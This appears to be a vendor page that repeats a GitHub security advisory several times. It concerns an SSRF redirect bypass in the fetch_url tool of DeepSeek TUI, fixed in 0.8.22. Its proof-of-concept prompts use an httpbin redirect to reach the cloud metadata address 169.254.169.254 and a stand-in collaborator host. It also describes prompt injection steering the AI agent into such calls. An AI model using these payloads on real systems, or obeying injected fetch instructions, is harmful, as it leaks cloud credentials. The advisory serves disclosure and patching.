### Summary The `fetch_url` tool validates the initial URL's resolved IP address against a restricted-IP blocklist (`is_restricted_ip()`) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (`reqwest`) is configured to automatically follow up to 5 redirects (`reqwest::redirect::Policy::limited(5)`) without re-validating the redirect target against the same SSRF protections. ### PoC **Step 1 — Baseline:** Confirm `fetch_url` blocks direct requests to restricted IPs. ``` Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/ Expected: Error — "restricted address (private/loopback/link-local)" ``` **Step 2 — SSRF bypass via redirect:** Fetch a public URL that redirects to the restricted IP. ``` Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302 ``` **Expected result:** The error message says "connection refused" or "request failed: connect error" — NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because `169.254.169.254` is unreachable from a non-cloud machine. **Observed result:** `fetch_url` followed the 302 redirect and attempted to connect to `169.254.169.254`. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target. **Step 3 — Redirect to attacker-controlled host:** Confirm attacker-controlled redirect targets are followed. ``` Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302 Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed. ``` ### Impact On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting `fetch_url` to `http://169.254.169.254/latest/meta-data/`. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call `fetch_url` with an attacker-controlled URL.
### Summary The `fetch_url` tool validates the initial URL's resolved IP address against a restricted-IP blocklist (`is_restricted_ip()`) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (`reqwest`) is configured to automatically follow up to 5 redirects (`reqwest::redirect::Policy::limited(5)`) without re-validating the redirect target against the same SSRF protections. ### PoC **Step 1 — Baseline:** Confirm `fetch_url` blocks direct requests to restricted IPs. ``` Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/ Expected: Error — "restricted address (private/loopback/link-local)" ``` **Step 2 — SSRF bypass via redirect:** Fetch a public URL that redirects to the restricted IP. ``` Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302 ``` **Expected result:** The error message says "connection refused" or "request failed: connect error" — NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because `169.254.169.254` is unreachable from a non-cloud machine. **Observed result:** `fetch_url` followed the 302 redirect and attempted to connect to `169.254.169.254`. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target. **Step 3 — Redirect to attacker-controlled host:** Confirm attacker-controlled redirect targets are followed. ``` Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302 Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed. ``` ### Impact On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting `fetch_url` to `http://169.254.169.254/latest/meta-data/`. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call `fetch_url` with an attacker-controlled URL.
Update deepseek-tui to 0.8.22; deepseek-tui to 0.8.22; deepseek-tui-cli to 0.8.22 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanDeepSeek TUI has SSRF via HTTP Redirect Bypass in fetch_url Tool affects deepseek-tui (npm), deepseek-tui (rust), deepseek-tui-cli (rust). Severity is high. ### Summary The `fetch_url` tool validates the initial URL's resolved IP address against a restricted-IP blocklist (`is_restricted_ip()`) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (`reqwest`) is configured to automatically follow up to 5 redirects (`reqwest::redirect::Policy::limited(5)`) without re-validating the redirect target against the same SSRF protections. ### PoC **Step 1 — Baseline:** Confirm `fetch_url` blocks direct requests to restricted IPs. ``` Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/ Expected: Error — "restricted address (private/loopback/link-local)" ``` **Step 2 — SSRF bypass via redirect:** Fetch a public URL that redirects to the restricted IP. ``` Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302 ``` **Expected result:** The error message says "connection refused" or "request failed: connect error" — NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because `169.254.169.254` is unreachable from a non-cloud machine. **Observed result:** `fetch_url` followed the 302 redirect and attempted to connect to `169.254.169.254`. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target. **Step 3 — Redirect to attacker-controlled host:** Confirm attacker-controlled redirect targets are followed. ``` Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302 Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed. ``` ### Impact On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting `fetch_url` to `http://169.254.169.254/latest/meta-data/`. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call `fetch_url` with an attacker-controlled URL.
AI coding agents often install or upgrade packages automatically in npm and rust. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| deepseek-tuinpm | <0.8.22 | 0.8.22 |
| deepseek-tuirust | <0.8.22 | 0.8.22 |
| deepseek-tui-clirust | <0.8.22 | 0.8.22 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate deepseek-tui to 0.8.22; deepseek-tui to 0.8.22; deepseek-tui-cli to 0.8.22 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanDeepSeek TUI has SSRF via HTTP Redirect Bypass in fetch_url Tool affects deepseek-tui (npm), deepseek-tui (rust), deepseek-tui-cli (rust). Severity is high. ### Summary The `fetch_url` tool validates the initial URL's resolved IP address against a restricted-IP blocklist (`is_restricted_ip()`) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (`reqwest`) is configured to automatically follow up to 5 redirects (`reqwest::redirect::Policy::limited(5)`) without re-validating the redirect target against the same SSRF protections. ### PoC **Step 1 — Baseline:** Confirm `fetch_url` blocks direct requests to restricted IPs. ``` Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/ Expected: Error — "restricted address (private/loopback/link-local)" ``` **Step 2 — SSRF bypass via redirect:** Fetch a public URL that redirects to the restricted IP. ``` Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302 ``` **Expected result:** The error message says "connection refused" or "request failed: connect error" — NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because `169.254.169.254` is unreachable from a non-cloud machine. **Observed result:** `fetch_url` followed the 302 redirect and attempted to connect to `169.254.169.254`. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target. **Step 3 — Redirect to attacker-controlled host:** Confirm attacker-controlled redirect targets are followed. ``` Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302 Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed. ``` ### Impact On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting `fetch_url` to `http://169.254.169.254/latest/meta-data/`. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call `fetch_url` with an attacker-controlled URL.
AI coding agents often install or upgrade packages automatically in npm and rust. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| deepseek-tuinpm | <0.8.22 | 0.8.22 |
| deepseek-tuirust | <0.8.22 | 0.8.22 |
| deepseek-tui-clirust | <0.8.22 | 0.8.22 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard